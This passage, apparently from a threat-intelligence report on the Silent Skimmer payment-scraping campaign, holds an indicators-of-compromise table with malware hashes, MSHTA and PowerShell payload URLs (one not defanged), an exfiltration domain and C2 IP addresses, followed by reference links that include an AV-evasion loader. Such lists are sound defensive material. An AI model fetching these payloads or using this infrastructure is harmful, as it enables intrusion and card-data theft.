<td><span style="font-weight: 400;">SHA256</span></td>
<td><span style="font-weight: 400;">Usage of mixed mode assemblies</span></td>
</tr>
<tr>
<td><span style="font-weight: 400; font-family: 'courier new', courier, monospace;">f9e5e09788.ipv6.1433.eu.org</span></td>
<td><span style="font-weight: 400;">Domain&nbsp;</span></td>
<td><span style="font-weight: 400;">Connectivity checks</span></td>
</tr>
<tr>
<td><span style="font-weight: 400; font-family: 'courier new', courier, monospace;">http://20.222.194[.]41/SecurityHealthSystray.hta</span></td>
<td><span style="font-weight: 400;">URL</span></td>
<td><span style="font-weight: 400;">MSHTA payload</span></td>
</tr>
<tr>
<td><span style="font-weight: 400; font-family: 'courier new', courier, monospace;">http://20.210.230.146/SecurityHealthSystray.hta</span></td>
<td><span style="font-weight: 400;">URL</span></td>
<td><span style="font-weight: 400;">MSHTA payload</span></td>
</tr>
<tr>
<td><span style="font-weight: 400; font-family: 'courier new', courier, monospace;">http://13.78.113[.]103/One.ps1</span></td>
<td><span style="font-weight: 400;">URL</span></td>
<td><span style="font-weight: 400;">PowerShell payload</span></td>
</tr>
<tr>
<td><span style="font-weight: 400; font-family: 'courier new', courier, monospace;">http://13.71.153[.]8/logtest.ps1</span></td>
<td><span style="font-weight: 400;">URL</span></td>
<td><span style="font-weight: 400;">PowerShell payload</span></td>
</tr>
<tr>
<td><span style="font-weight: 400; font-family: 'courier new', courier, monospace;">nigntboxcdn[.]com</span></td>
<td><span style="font-weight: 400;">FQDN</span></td>
<td><span style="font-weight: 400;">Exfiltration</span></td>
</tr>
<tr>
<td><span style="font-weight: 400; font-family: 'courier new', courier, monospace;">342daa41ba3989d5ecb95c7c19a55c1a00c12b6c2faa2cac052bc910a6edd56f</span></td>
<td><span style="font-weight: 400;">SHA256</span></td>
<td><span style="font-weight: 400;">Web shell</span></td>
</tr>
<tr>
<td><span style="font-weight: 400; font-family: 'courier new', courier, monospace;">28f0f37fcdee2ac2c022bb454b30f05458075434fa57662af2de22ba5cfb45c1</span></td>
<td><span style="font-weight: 400;">SHA256</span></td>
<td><span style="font-weight: 400;">Web shell</span></td>
</tr>
<tr>
<td><span style="font-weight: 400; font-family: 'courier new', courier, monospace;">29a81d3125ab1c886266a03902204253708f8d181c547a88ceb447ef59f99f60</span></td>
<td><span style="font-weight: 400;">SHA256</span></td>
<td><span style="font-weight: 400;">Web shell</span></td>
</tr>
<tr>
<td><span style="font-weight: 400; font-family: 'courier new', courier, monospace;">9b29964d0b3d026aa01713dbdf4361439788c05c8eb8723fc7cfb933245dec45</span></td>
<td><span style="font-weight: 400;">SHA256</span></td>
<td><span style="font-weight: 400;">Web shell</span></td>
</tr>
<tr>
<td><span style="font-weight: 400; font-family: 'courier new', courier, monospace;">311935e115d678adbe502c8cc4e5396323f3f015ee186df6dc9f67ae0248104b</span></td>
<td><span style="font-weight: 400;">SHA256</span></td>
<td><span style="font-weight: 400;">Web shell</span></td>
</tr>
<tr>
<td><span style="font-weight: 400; font-family: 'courier new', courier, monospace;">06710575d20cacd123f83eb82994879367e07f267e821873bf93f4db6312a97b</span></td>
<td><span style="font-weight: 400;">SHA256</span></td>
<td><span style="font-weight: 400;">Web shell</span></td>
</tr>
<tr>
<td><span style="font-weight: 400; font-family: 'courier new', courier, monospace;">20[.]37.116.136</span></td>
<td><span style="font-weight: 400;">IP address</span></td>
<td><span style="font-weight: 400;">C2</span></td>
</tr>
<tr>
<td><span style="font-weight: 400; font-family: 'courier new', courier, monospace;">167[.]88.168.11</span></td>
<td><span style="font-weight: 400;">IP address</span></td>
<td><span style="font-weight: 400;">C2</span></td>
</tr>
<tr>
<td><span style="font-weight: 400; font-family: 'courier new', courier, monospace;">45[.]61.166.209</span></td>
<td><span style="font-weight: 400;">IP address</span></td>
<td><span style="font-weight: 400;">C2</span></td>
</tr>
<tr>
<td><span style="font-weight: 400; font-family: 'courier new', courier, monospace;">172[.]86.123.127</span></td>
<td><span style="font-weight: 400;">IP address</span></td>
<td><span style="font-weight: 400;">C2</span></td>
</tr>
<tr>
<td><span style="font-weight: 400; font-family: 'courier new', courier, monospace;">48[.]218.138.60</span></td>
<td><span style="font-weight: 400;">IP address</span></td>
<td><span style="font-weight: 400;">C2</span></td>
</tr>
<tr>
<td><span style="font-weight: 400; font-family: 'courier new', courier, monospace;">172[.]86.105.129</span></td>
<td><span style="font-weight: 400;">IP address</span></td>
<td><span style="font-weight: 400;">C2</span></td>
</tr>
<tr>
<td><span style="font-weight: 400; font-family: 'courier new', courier, monospace;">172[.]86.96.245</span></td>
<td><span style="font-weight: 400;">IP address</span></td>
<td><span style="font-weight: 400;">C2</span></td>
</tr>
<tr>
<td><span style="font-weight: 400; font-family: 'courier new', courier, monospace;">20[.]188.26.190</span></td>
<td><span style="font-weight: 400;">IP address</span></td>
<td><span style="font-weight: 400;">C2</span></td>
</tr>
<tr>
<td><span style="font-weight: 400; font-family: 'courier new', courier, monospace;">13[.]78.113.103</span></td>
<td><span style="font-weight: 400;">IP address</span></td>
<td><span style="font-weight: 400;">C2</span></td>
</tr>
<tr>
<td><span style="font-weight: 400; font-family: 'courier new', courier, monospace;">13[.]78.94.29</span></td>
<td><span style="font-weight: 400;">IP address</span></td>
<td><span style="font-weight: 400;">C2</span></td>
</tr>
<tr>
<td><span style="font-weight: 400; font-family: 'courier new', courier, monospace;">52[.]253.107.167</span></td>
<td><span style="font-weight: 400;">IP address</span></td>
<td><span style="font-weight: 400;">C2</span></td>
</tr>
<tr>
<td><span style="font-weight: 400; font-family: 'courier new', courier, monospace;">20[.]89.43.151</span></td>
<td><span style="font-weight: 400;">IP address</span></td>
<td><span style="font-weight: 400;">C2</span></td>
</tr>
<tr>
<td><span style="font-weight: 400; font-family: 'courier new', courier, monospace;">20[.]222.194.41</span></td>
<td><span style="font-weight: 400;">IP address</span></td>
<td><span style="font-weight: 400;">C2</span></td>
</tr>
<tr>
<td><span style="font-weight: 400; font-family: 'courier new', courier, monospace;">20[.]222.138.18</span></td>
<td><span style="font-weight: 400;">IP address</span></td>
<td><span style="font-weight: 400;">C2</span></td>
</tr>
<tr>
<td><span style="font-weight: 400; font-family: 'courier new', courier, monospace;">60[.]204.201.75</span></td>
<td><span style="font-weight: 400;">IP address</span></td>
<td><span style="font-weight: 400;">C2</span></td>
</tr>
<tr>
<td><span style="font-weight: 400; font-family: 'courier new', courier, monospace;">5acac9846035863b178ff75fb2a8bdcd53e5d496007d032c3fb20e0dc8306fd9</span></td>
<td><span style="font-weight: 400;">SHA256</span></td>
<td><span style="font-weight: 400;">Shellcode runner</span></td>
</tr>
<tr>
<td><span style="font-weight: 400; font-family: 'courier new', courier, monospace;">b1d10328d0cbe3413d1ec15888e5772e323798072fda1285f17b61a96bf0e34e</span></td>
<td><span style="font-weight: 400;">SHA256</span></td>
<td><span style="font-weight: 400;">Unknown</span></td>
</tr>
<tr>
<td><span style="font-weight: 400; font-family: 'courier new', courier, monospace;">91a5f92908c561f1d1814d36da613c5b7411bb45554e1b2d19713f1f6d50a10c</span></td>
<td><span style="font-weight: 400;">SHA256</span></td>
<td><span style="font-weight: 400;">Cobalt Strike</span></td>
</tr>
<tr>
<td><span style="font-weight: 400; font-family: 'courier new', courier, monospace;">8240d49629a558acc0426dff40c042fa989fb46159bb5971ee3c4211b68a59d0</span></td>
<td><span style="font-weight: 400;">SHA256</span></td>
<td><span style="font-weight: 400;">Unknown</span></td>
</tr>
<tr>
<td><span style="font-weight: 400; font-family: 'courier new', courier, monospace;">a2a17e561d50f69e011598fd2e03b0376f6468609a1b2d6be9d458ee5c8b397d</span></td>
<td><span style="font-weight: 400;">SHA256</span></td>
<td><span style="font-weight: 400;">Unknown</span></td>
</tr>
<tr>
<td><span style="font-weight: 400; font-family: 'courier new', courier, monospace;">b1da7982199597882a2da8c45114f4cf74fed64447fca8c5f58ced24d7085c77</span></td>
<td><span style="font-weight: 400;">SHA256</span></td>
<td><span style="font-weight: 400;">Reverse shell</span></td>
</tr>
<tr>
<td><span style="font-weight: 400; font-family: 'courier new', courier, monospace;">1c9a9732d600d975b5b44ab326d5cc99123a84d5b400a189902ff6d249a24bda</span></td>
<td><span style="font-weight: 400;">SHA256</span></td>
<td><span style="font-weight: 400;">Reverse shell</span></td>
</tr>
</tbody>
</table></div></div><div class="section-wrapper" id="section-6"><h2 id="section-6-title" data-section="scrollable"><a id="post-137319-_570cbe1pdhwx"></a><strong>Additional Resources</strong></h2><ul>
<li><a href="https://blogs.blackberry.com/en/2023/09/silent-skimmer-online-payment-scraping-campaign-shifts-targets-from-apac-to-nala" target="_blank" rel="noopener">It’s Silent Skimmer: Online Payment Scraping Campaign Shifts Targets From APAC to NALA</a> – BlackBerry</li>
<li><a href="https://news.sophos.com/en-us/2023/07/26/into-the-tank-with-nitrogen/" target="_blank" rel="noopener">Into the tank with Nitrogen</a> – Sophos News</li>
<li><a href="https://learn.microsoft.com/en-us/cpp/dotnet/mixed-native-and-managed-assemblies?view=msvc-170" target="_blank" rel="noopener">Mixed (Native and Managed) Assemblies</a> – Microsoft Learn</li>
<li><a href="https://www.mandiant.com/sites/default/files/2022-11/06-alamode.pdf" target="_blank" rel="noopener">Challenge 6: à la mode</a> [PDF] – Mandiant FLARE-On Challenge on mixed mode assemblies</li>
<li><a href="https://cybersecurity.att.com/blogs/security-essentials/dont-check-out-credit-card-skimming-activity-observed" target="_blank" rel="noopener">Don’t check out! – Credit card skimming activity observed</a> – LevelBlue</li>
<li><a href="https://github.com/T4y1oR/RingQ" target="_blank" rel="noopener">GitHub - T4y1oR/RingQ: 一款后渗透免杀工具，助力每一位像我这样的脚本小子快速实现免杀，支持bypass AV/EDR 360 火绒 Windows Defender Shellcode Loader</a> – T4y1oR on GitHub</li>
<li><a href="https://www.bleepingcomputer.com/news/security/blackcat-ransomware-shuts-down-in-exit-scam-blames-the-feds/" target="_blank" rel="noopener">BlackCat ransomware shuts down in exit scam, blames the "feds"</a> – Bleeping Computer</li>
<li><a href="https://www.paloaltonetworks.com/blog/security-operations/playbook-of-the-week-fending-off-living-off-the-land-attacks/" rel="noopener">Playbook Of The Week - Fending Off Living Off the Land Attacks</a> – Palo Alto Networks</li>
<li><a href="https://learn.microsoft.com/en-us/previous-versions/windows/embedded/aa940701(v=winembedded.5)?redirectedfrom=MSDN" target="_blank" rel="noopener">AI Skills Challenge, Primitive: Mshta.exe</a> – Microsoft Learn</li>
<li><a href="https://attack.mitre.org/techniques/T1218/005/" target="_blank" rel="noopener">System Binary Proxy Execution: Mshta, Sub-technique T1218.005</a> – MITRE ATT&amp;CK</li>
<li><a href="https://learn.microsoft.com/en-us/previous-versions//ms536471(v=vs.85)?redirectedfrom=MSDN" target="_blank" rel="noopener">AI Skills Challenge, HTML Applications</a> – Microsoft Learn</li>
<li><a href="https://attack.mitre.org/techniques/T1620/" target="_blank" rel="noopener">Reflective Code Loading, Technique T1620 - Enterprise</a> – Techniques, MITRE ATT&amp;CK</li>
</ul><p>&nbsp;</p></div></div>
              <!--<span class="post__date">Updated 6 November, 2024 at 11:30 AM PST</span>-->
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      <li><a href="#section-1-title" role="link" data-page-track="true" data-page-track-value="silent-skimmer-latest-campaign:sidebar:table-of-contents:Executive Summary">Executive Summary</a></li><li><a href="#section-2-title" role="link" data-page-track="true" data-page-track-value="silent-skimmer-latest-campaign:sidebar:table-of-contents:Observed Activities and TTPs">Observed Activities and TTPs</a><ul><li><a href="#section2SubHeading1" role="link" data-page-track="true" data-page-track-value="silent-skimmer-latest-campaign:sidebar:table-of-contents:Native C++ Code Embedded within .NET Binaries" data-parent="Observed Activities and TTPs">Native C++ Code Embedded within .NET Binaries</a></li><li><a href="#section2SubHeading2" role="link" data-page-track="true" data-page-track-value="silent-skimmer-latest-campaign:sidebar:table-of-contents:RingQ Loader" data-parent="Observed Activities and TTPs">RingQ Loader</a></li><li><a href="#section2SubHeading3" role="link" data-page-track="true" data-page-track-value="silent-skimmer-latest-campaign:sidebar:table-of-contents:Compiled Python - Dumping Payment Information" data-parent="Observed Activities and TTPs">Compiled Python - Dumping Payment Information</a></li><li><a href="#section2SubHeading4" role="link" data-page-track="true" data-page-track-value="silent-skimmer-latest-campaign:sidebar:table-of-contents:Reverse Shells" data-parent="Observed Activities and TTPs">Reverse Shells</a></li></ul></li><li><a href="#section-3-title" role="link" data-page-track="true" data-page-track-value="silent-skimmer-latest-campaign:sidebar:table-of-contents:Attribution and Overlaps">Attribution and Overlaps</a></li><li><a href="#section-4-title" role="link" data-page-track="true" data-page-track-value="silent-skimmer-latest-campaign:sidebar:table-of-contents:Conclusion">Conclusion</a></li><li><a href="#section-5-title" role="link" data-page-track="true" data-page-track-value="silent-skimmer-latest-campaign:sidebar:table-of-contents:Indicators of Compromise">Indicators of Compromise</a></li><li><a href="#section-6-title" role="link" data-page-track="true" data-page-track-value="silent-skimmer-latest-campaign:sidebar:table-of-contents:Additional Resources">Additional Resources</a></li></ul>
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